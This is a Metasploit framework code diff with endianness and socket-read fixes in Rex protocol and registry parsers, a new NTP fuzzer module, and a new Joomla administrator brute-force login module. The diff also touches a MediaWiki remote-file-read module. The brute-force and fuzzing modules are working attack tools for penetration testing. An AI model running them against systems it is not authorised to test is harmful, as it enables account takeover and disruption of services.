@ -312,7 +312,7 @@ class Tlv
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
self.value = raw.unpack("NNN")[2]
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
self.value = raw.unpack("NNQ")[2]
self.value = raw.unpack("NNQ<")[2]
self.value = self.ntohq( self.value )
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
self.value = raw.unpack("NNc")[2]
@ -335,7 +335,7 @@ class Tlv
if( [1].pack( 's' ) == [1].pack( 'n' ) )
return value
end
return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
end
def ntohq( value )

View File

@ -106,6 +106,8 @@ class Console
log_error("Operation timed out.")
rescue RequestError => info
log_error(info.to_s)
rescue Rex::AddressInUse => e
log_error(e.message)
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
self.client.kill
rescue ::Exception => e

View File

@ -34,7 +34,7 @@ class NDR
# byte element_1;
def self.byte(string)
warn 'should be using Rex::Encoder::NDR'
return [string].pack('c')
return [string].pack('C')
end
# Encode a byte array

View File

@ -19,7 +19,7 @@ module NATPMP
# Parse a NAT-PMP external address response +resp+.
# Returns the decoded parts of the response as an array.
def self.parse_external_address_response(resp)
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
(ver, op, result, epoch, addr) = resp.unpack("CCvVN")
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
end
@ -31,13 +31,13 @@ module NATPMP
lport,
rport,
lifetime
].pack("ccnnnN")
].pack("CCnnnN")
end
# Parse a NAT-PMP mapping response +resp+.
# Returns the decoded parts as an array.
def self.parse_map_port_response(resp)
resp.unpack("CCSLnnN")
resp.unpack("CCvVnnN")
end
end

3
lib/rex/proto/ntp.rb Normal file
View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/ntp/constants'
require 'rex/proto/ntp/modes'

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Rex
module Proto
module NTP
VERSIONS = (0..7).to_a
MODES = (0..7).to_a
MODE_6_OPERATIONS = (0..31).to_a
MODE_7_IMPLEMENTATIONS = (0..255).to_a
MODE_7_REQUEST_CODES = (0..255).to_a
end
end
end

130
lib/rex/proto/ntp/modes.rb Normal file
View File

@ -0,0 +1,130 @@
# -*- coding: binary -*-
require 'bit-struct'
module Rex
module Proto
module NTP
# A very generic NTP message
#
# Uses the common/similar parts from versions 1-4 and considers everything
# after to be just one big field. For the particulars on the different versions,
# see:
# http://tools.ietf.org/html/rfc958#appendix-B
# http://tools.ietf.org/html/rfc1059#appendix-B
# pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf
# http://tools.ietf.org/html/rfc1305#appendix-D
# http://tools.ietf.org/html/rfc5905#page-19
class NTPGeneric < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |LI | VN | mode| Stratum | Poll | Precision |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :li, 2, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 0
unsigned :stratum, 8, default: 0
unsigned :poll, 8, default: 0
unsigned :precision, 8, default: 0
rest :payload
end
# An NTP control message. Control messages are only specified for NTP
# versions 2-4, but this is a fuzzer so why not try them all...
class NTPControl < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |00 | VN | 6 |R E M| op | Sequence |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | status | association id |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | offset | count |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :reserved, 2, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 6
unsigned :response, 1, default: 0
unsigned :error, 1, default: 0
unsigned :more, 1, default: 0
unsigned :operation, 5, default: 0
unsigned :sequence, 16, default: 0
unsigned :status, 16, default: 0
unsigned :association_id, 16, default: 0
# TODO: there *must* be bugs in the handling of these next two fields!
unsigned :payload_offset, 16, default: 0
unsigned :payload_size, 16, default: 0
rest :payload
end
# An NTP "private" message. Private messages are only specified for NTP
# versions 2-4, but this is a fuzzer so why not try them all...
class NTPPrivate < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |R M| VN | 7 |A| Sequence | Implementation| Req code |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | err | Number of data items | MBZ | Size of data item |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :response, 1, default: 0
unsigned :more, 1, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 7
unsigned :auth, 1, default: 0
unsigned :sequence, 7, default: 0
unsigned :implementation, 8, default: 0
unsigned :request_code, 8, default: 0
unsigned :error, 4, default: 0
unsigned :record_count, 12, default: 0
unsigned :mbz, 4, default: 0
unsigned :record_size, 12, default: 0
rest :payload
def records
records = []
1.upto(record_count) do |record_num|
records << payload[record_size*(record_num-1), record_size]
end
records
end
end
def self.ntp_control(version, operation, payload = nil)
n = NTPControl.new
n.version = version
n.operation = operation
if payload
n.payload_offset = 0
n.payload_size = payload.size
n.payload = payload
end
n.to_s
end
def self.ntp_private(version, implementation, request_code, payload = nil)
n = NTPPrivate.new
n.version = version
n.implementation = implementation
n.request_code = request_code
n.payload = payload if payload
n.to_s
end
def self.ntp_generic(version, mode)
n = NTPGeneric.new
n.version = version
n.mode = mode
n.to_s
end
# Parses the given message and provides a description about the NTP message inside
def self.describe(message)
ntp = NTPGeneric.new(message)
"#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply"
end
end
end
end

View File

@ -41,7 +41,7 @@ class LFHashRecord
attr_accessor :nodekey_offset, :nodekey_name_verification
def initialize(hive_blob, offset)
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
end

View File

@ -23,16 +23,16 @@ class NodeKey
return
end
@timestamp = hive[offset+0x04, 8].unpack('q').first
@parent_offset = hive[offset+0x10, 4].unpack('l').first
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
@value_count = hive[offset+0x24, 4].unpack('l').first
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
@name_length = hive[offset+0x48, 2].unpack('c').first
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
@timestamp = hive[offset+0x04, 8].unpack('Q').first
@parent_offset = hive[offset+0x10, 4].unpack('V').first
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
@value_count = hive[offset+0x24, 4].unpack('V').first
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
@name_length = hive[offset+0x48, 2].unpack('C').first
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp

View File

@ -17,10 +17,10 @@ class ValueKey
return
end
@name_length = hive[offset+0x02, 2].unpack('c').first
@length_of_data = hive[offset+0x04, 4].unpack('l').first
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
@value_type = hive[offset+0x0C, 4].unpack('c').first
@name_length = hive[offset+0x02, 2].unpack('C').first
@length_of_data = hive[offset+0x04, 4].unpack('V').first
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
@value_type = hive[offset+0x0C, 4].unpack('C').first
if @value_type == 1
@readable_value_type = "Unicode character string"
@ -34,7 +34,7 @@ class ValueKey
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
end
flag = hive[offset+0x10, 2].unpack('c').first
flag = hive[offset+0x10, 2].unpack('C').first
if flag == 0
@name = "Default"

View File

@ -18,7 +18,7 @@ class ValueList
valuekey_offset = hive[offset + inner_offset, 4]
next if !valuekey_offset
valuekey_offset = valuekey_offset.unpack('l').first
valuekey_offset = valuekey_offset.unpack('V').first
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
inner_offset = inner_offset + 4
end

View File

@ -75,6 +75,7 @@ module Rex::Socket::Ip
Rex::Compat.is_macosx
)
gram=gram.dup
# Note that these are *intentionally* host order for BSD support
gram[2,2]=gram[2,2].unpack("n").pack("s")
gram[6,2]=gram[6,2].unpack("n").pack("s")
end

View File

@ -159,7 +159,7 @@ class SSHKey
SSH_CONVERSION[type].each do |method|
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
out += encode_unsigned_int_32(byte_array.length).pack("c*")
out += encode_unsigned_int_32(byte_array.length).pack("C*")
out += byte_array.pack("C*")
end

View File

@ -36,7 +36,7 @@ class WindowsConsoleColorSupport
def setcolor(color)
csbi = 0.chr * 24
@GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)
wAttr = csbi[8,2].unpack('S').first
wAttr = csbi[8,2].unpack('v').first
case color
when 0 # reset

View File

@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary
print_status("Attempting to create directory: MKD #{test}")
sock.put("MKD #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~/257 MKD command successful\./)
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~ /550 Not a regular file/)
print_status("\tServer reports \"not a regular file\". Directory verified.")
print_status("\tAttempting to delete directory: RMD #{test}")
sock.put("RMD #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~ /250 RMD command successful\./)
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
print_status("\tDirectory #{test} no longer exists!")
print_status("Target is confirmed as vulnerable!")
end

View File

@ -116,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary
begin
connect
sock.put(Rex::Text.rand_text(5))
res = sock.get_once
res = sock.get_once(-1, 10)
disconnect
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
connect
sock.put(pkt)
res = sock.get
res = sock.get_once(-1, 10)
disconnect

View File

@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("Starting brute force on #{rhost}, using sids from #{list}...")
fd = File.open(list, 'rb').each do |sid|
fd = ::File.open(list, 'rb').each do |sid|
login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
pkt = tns_packet(login)
begin
connect
rescue ::Interrupt
raise $!
rescue => e
print_error(e.to_s)
disconnect
@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary
sock.put(pkt)
select(nil,nil,nil,s.to_i)
res = sock.get_once(-1,3)
res = sock.get_once
disconnect
if ( res and res =~ /ERROR_STACK/ )
''
else
if res and res.to_s !~ /ERROR_STACK/
report_note(
:host => rhost,
:port => rport,
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
)
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
end
end
print_status("Done with brute force...")

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
def get_pkt
buf = sock.get
buf = sock.get_once(-1, 10)
vprint_status("[in ] #{buf.inspect}")
buf
end

View File

@ -0,0 +1,215 @@
# encoding: UTF-8
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/ntp'
require 'securerandom'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Fuzzer
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NTP Protocol Fuzzer',
'Description' => %q(
A simplistic fuzzer for the Network Time Protocol that sends the
following probes to understand NTP and look for anomalous NTP behavior:
* All possible combinations of NTP versions and modes, even if not
allowed or specified in the RFCs
* Short versions of the above
* Short, invalid datagrams
* Full-size, random datagrams
* All possible NTP control messages
* All possible NTP private messages
This findings of this fuzzer are not necessarily indicative of bugs,
let alone vulnerabilities, rather they point out interesting things
that might deserve more attention. Furthermore, this module is not
particularly intelligent and there are many more areas of NTP that
could be explored, including:
* Warn if the response is 100% identical to the request
* Warn if the "mode" (if applicable) doesn't align with what we expect,
* Filter out the 12-byte mode 6 unsupported opcode errors.
* Fuzz the control message payload offset/size/etc. There be bugs
),
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(123),
OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]),
OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250])
], self.class)
register_advanced_options(
[
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
], self.class)
end
def sleep_time
datastore['SLEEP'] / 1000.0
end
def check_and_set(setting)
thing = setting.upcase
const_name = thing.to_sym
var_name = thing.downcase
if datastore.key?(thing)
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
else
instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name))
end
end
def run_host(ip)
# check and set the optional advanced options
check_and_set('VERSIONS')
check_and_set('MODES')
check_and_set('MODE_6_OPERATIONS')
check_and_set('MODE_7_IMPLEMENTATIONS')
check_and_set('MODE_7_REQUEST_CODES')
connect_udp
fuzz_version_mode(ip, true)
fuzz_version_mode(ip, false)
fuzz_short(ip)
fuzz_random(ip)
fuzz_control(ip) if @modes.include?(6)
fuzz_private(ip) if @modes.include?(7)
disconnect_udp
end
# Sends a series of NTP control messages
def fuzz_control(host)
@versions.each do |version|
print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)")
@mode_6_operations.each do |op|
request = Rex::Proto::NTP.ntp_control(version, op)
what = "#{request.size}-byte version #{version} mode 6 op #{op} message"
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
# Sends a series of NTP private messages
def fuzz_private(host)
@versions.each do |version|
print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)")
@mode_7_implementations.each do |implementation|
@mode_7_request_codes.each do |request_code|
request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188)
what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message"
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
end
# Sends a series of small, short datagrams, looking for a reply
def fuzz_short(host)
print_status("#{host}:#{rport} fuzzing short messages")
0.upto(4) do |size|
request = SecureRandom.random_bytes(size)
what = "short #{request.size}-byte random message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
# Sends a series of random, full-sized datagrams, looking for a reply
def fuzz_random(host)
print_status("#{host}:#{rport} fuzzing random messages")
0.upto(5) do
# TODO: is there a better way to pick this size? Should more than one be tried?
request = SecureRandom.random_bytes(48)
what = "random #{request.size}-byte message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
# Sends a series of different version + mode combinations
def fuzz_version_mode(host, short)
print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations")
@versions.each do |version|
@modes.each do |mode|
request = Rex::Proto::NTP::NTPGeneric.new
request.version = version
request.mode = mode
unless short
# TODO: is there a better way to pick this size? Should more than one be tried?
request.payload = SecureRandom.random_bytes(16)
end
what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
# Sends +message+ to +host+ on UDP port +port+, returning all replies
def probe(host, port, message)
replies = []
udp_sock.sendto(message, host, port, 0)
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
while reply && reply[1]
replies << reply
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
end
replies
end
def handle_responses(host, request, responses, what)
problems = []
descriptions = []
responses.select! { |r| r[1] }
return if responses.empty?
responses.each do |response|
data = response[0]
descriptions << Rex::Proto::NTP.describe(data)
problems << 'large response' if request.size < data.size
ntp_req = Rex::Proto::NTP::NTPGeneric.new(request)
ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data)
problems << 'version mismatch' if ntp_req.version != ntp_resp.version
end
problems << 'multiple responses' if responses.size > 1
problems.sort!
problems.uniq!
description = descriptions.join(',')
if problems.empty?
vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}")
else
print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}")
end
end
end

View File

@ -0,0 +1,279 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Joomla Bruteforce Login Utility',
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
'Author' => 'luisco100[at]gmail.com',
'References' =>
[
['CVE', '1999-0502'] # Weak password Joomla
],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]),
OptPath.new('USER_FILE', [false, 'File containing users, one per line',
File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]),
OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),
OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),
OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),
OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),
OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),
OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])
], self.class)
register_autofilter_ports([80, 443])
end
def find_auth_uri
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
paths = [datastore['AUTH_URI']]
else
paths = %w(
/
/administrator/
)
end
paths.each do |path|
begin
res = send_request_cgi(
'uri' => path,
'method' => 'GET'
)
rescue ::Rex::ConnectionError
next
end
next unless res
if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/
path = res.headers['Location']
vprint_status("#{rhost}:#{rport} - Following redirect: #{path}")
begin
res = send_request_cgi(
'uri' => path,
'method' => 'GET'
)
rescue ::Rex::ConnectionError
next
end
next unless res
end
return path
end
nil
end
def target_url
proto = 'http'
if rport == 443 || ssl
proto = 'https'
end
"#{proto}://#{rhost}:#{rport}#{@uri}"
end
def run_host(ip)
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
@uri = find_auth_uri
unless @uri
vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")
return
end
@uri = "/#{@uri}" if @uri[0, 1] != '/'
vprint_status("#{target_url} - Attempting to login...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def do_login(user, pass)
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
response = do_web_login(user, pass)
result = determine_result(response)
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => target_url,
:type => 'passsword',
:source_type => 'cred',
:duplicate_ok => true,
:active => true
)
return :abort if datastore['STOP_ON_SUCCESS']
return :next_user
else
vprint_error("#{target_url} - Failed to login as '#{user}'")
return
end
end
def do_web_login(user, pass)
user_var = datastore['USER_VARIABLE']
pass_var = datastore['PASS_VARIABLE']
referer_var = "http://#{rhost}/administrator/index.php"
vprint_status("#{target_url} - Searching Joomla Login Response...")
res = login_response
unless res && res.code = 200 && !res.get_cookies.blank?
vprint_error("#{target_url} - Failed to find Joomla Login Response")
return nil
end
vprint_status("#{target_url} - Searching Joomla Login Form...")
hidden_value = get_login_hidden(res)
if hidden_value.nil?
vprint_error("#{target_url} - Failed to find Joomla Login Form")
return nil
end
vprint_status("#{target_url} - Searching Joomla Login Cookies...")
cookie = get_login_cookie(res)
if cookie.blank?
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
return nil
end
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
res = send_request_login(
'user_var' => user_var,
'pass_var' => pass_var,
'cookie' => cookie,
'referer_var' => referer_var,
'user' => user,
'pass' => pass,
'hidden_value' => hidden_value
)
if res
vprint_status("#{target_url} - Login Response #{res.code}")
if res.redirect? && res.headers['Location']
path = res.headers['Location']
vprint_status("#{target_url} - Following redirect to #{path}...")
res = send_request_raw(
'uri' => path,
'method' => 'GET',
'cookie' => "#{cookie}"
)
end
end
return res
rescue ::Rex::ConnectionError
vprint_error("#{target_url} - Failed to connect to the web server")
return nil
end
def send_request_login(opts = {})
res = send_request_cgi(
'uri' => @uri,
'method' => 'POST',
'cookie' => "#{opts['cookie']}",
'headers' =>
{
'Referer' => opts['referer_var']
},
'vars_post' => {
opts['user_var'] => opts['user'],
opts['pass_var'] => opts['pass'],
'lang' => '',
'option' => 'com_login',
'task' => 'login',
'return' => 'aW5kZXgucGhw',
opts['hidden_value'] => 1
}
)
res
end
def determine_result(response)
return :abort unless response.kind_of?(Rex::Proto::Http::Response)
return :abort unless response.code
if [200, 301, 302].include?(response.code)
if response.to_s.include?(datastore['WORD_ERROR'])
return :fail
else
return :success
end
end
:fail
end
def login_response
uri = normalize_uri(datastore['FORM_URI'])
res = send_request_cgi!('uri' => uri, 'method' => 'GET')
res
end
def get_login_cookie(res)
return nil unless res.kind_of?(Rex::Proto::Http::Response)
res.get_cookies
end
def get_login_hidden(res)
return nil unless res.kind_of?(Rex::Proto::Http::Response)
return nil if res.body.blank?
vprint_status("#{target_url} - Testing Joomla 2.5 Form...")
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
if form.length == 1 # is not Joomla 2.5
vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
end
if form.length == 1 # is not Joomla 3
vprint_error("#{target_url} - Last chance to find a login form...")
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
end
begin
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
input_id = input_hidden[7].split("\"")
rescue NoMethodError
return nil
end
valor_input_id = input_id[1]
valor_input_id
end
end

View File

@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary
end
def accessfile(rhost)
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
@wiki_session_name, @wiki_session = get_first_session
if @wiki_session.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
return
end
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
if @user and not @user.empty? and @password and not @password.empty?
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
vprint_status("#{peer} MediaWiki - Getting login token...")
@login_token = get_login_token
if @login_token.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
print_error("#{peer} MediaWiki - Failed to get login token")
return
end
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
vprint_status("#{peer} Logintoken: #{@login_token}")
if not authenticate
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
print_error("#{peer} MediaWiki - Failed to authenticate")
return
end
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
end
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
vprint_status("#{peer} MediaWiki - Getting edit token...")
@edit_token = get_edit_token
if @edit_token.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
print_error("#{peer} MediaWiki - Failed to get edit token")
return
end
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
vprint_status("#{peer} Edittoken: #{@edit_token}")
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
vprint_status("#{peer} MediaWiki - Uploading SVG file...")
@svg_uri = upload_file
if @svg_uri.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
print_error("#{peer} MediaWiki - Failed to upload SVG file")
return
end
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
vprint_status("#{peer} SVG URI: #{@svg_uri}")
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
vprint_status("#{peer} MediaWiki - Retrieving remote file...")
loot = read_data
if loot.nil? or loot.empty?
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
print_error("#{peer} MediaWiki - Failed to retrieve remote file")
return
end
f = ::File.basename(datastore['RFILE'])
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
end
def run

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]),
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]),
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.148.147' ]),
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]),
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
@ -60,14 +60,16 @@ class Metasploit3 < Msf::Auxiliary
if datastore['MULTIPORTS']
target_ports = [ 80, 1080, 3128, 8080, 8123 ]
else
target_ports.push(datastore['RPORT'].to_i)
end
target_ports.push(datastore['RPORT'].to_i)
if datastore['RANDOMIZE_PORTS']
target_ports = target_ports.sort_by { rand }
end
target_ports = target_ports.uniq
site = datastore['SITE']
user_agent = datastore['UserAgent']
